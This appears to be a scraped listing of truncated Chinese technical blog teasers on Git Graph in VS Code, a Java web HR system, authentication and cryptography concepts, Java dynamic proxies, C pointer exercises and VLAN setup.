目录 文章目录 目录Git Graph看懂 GraphVSCode Git Graph 插件1. 选择展示的 Branches2. Checkout 到一个 Branch3. 找到指定 Branch 最新的 Commit4. 找到 Branch 分叉口5. 查看 2 个 Commits 之前的区别 Git Graph Git Graph 是服务于 Git 分支管理的一种可视化工具&#xf…

java企业人事信息管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 java Web企业人事信息管理系统是一套完善的java web信息管理系统&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境 为TOMCAT7.0,Myeclipse8.5开发&#xff0c;数据库为M…

网络安全—认证技术

文章目录 加密认证对称密钥体制公钥密码体制公钥的加密公钥身份认证和加密 鉴别码认证MAC鉴别码 报文摘要认证认证 加密只认证数字签名 通过了解以前前辈们使用的消息认证慢慢渐进到现代的完整的认证体系。所以在学习的时候也很蒙圈&#xff0c;因为前期的很多技术都是有很严重…

42.动态代理

动态代理 文章目录 动态代理JDK动态代理cglib动态代理jdk动态代理和cglib动态代理的区别区别&#xff1a;CGlib动态代理示例&#xff1a; JDK动态代理 1.我们需要定义一个接口&#xff0c;作为代理和目标对象共同实现的约束&#xff1a; package com.kang.spring.service;/**…

c语言:用指针输入两个数组|练习题

一、题目 利用指针&#xff0c;输入两个数组 如图&#xff1a; 二、代码截图【带注释】 三、源代码【带注释】 #include <stdio.h> int main() { int a[50]; int b[50]; int *paa,*pbb; //输入第一组数组 printf("请输入第一组5个数字&#xff1a;…

创建VLAN及VLAN间通信

任务1、任务2、任务3实验背景&#xff1a; 在一家微型企业中&#xff0c;企业的办公区域分为两个房间&#xff0c;一个小房间为老板办公室&#xff0c;一个大房间为开放办公室&#xff0c;财务部和销售部的员工共同使用这个办公空间。我们需要通过VLAN的划分&#xff0c;使老板…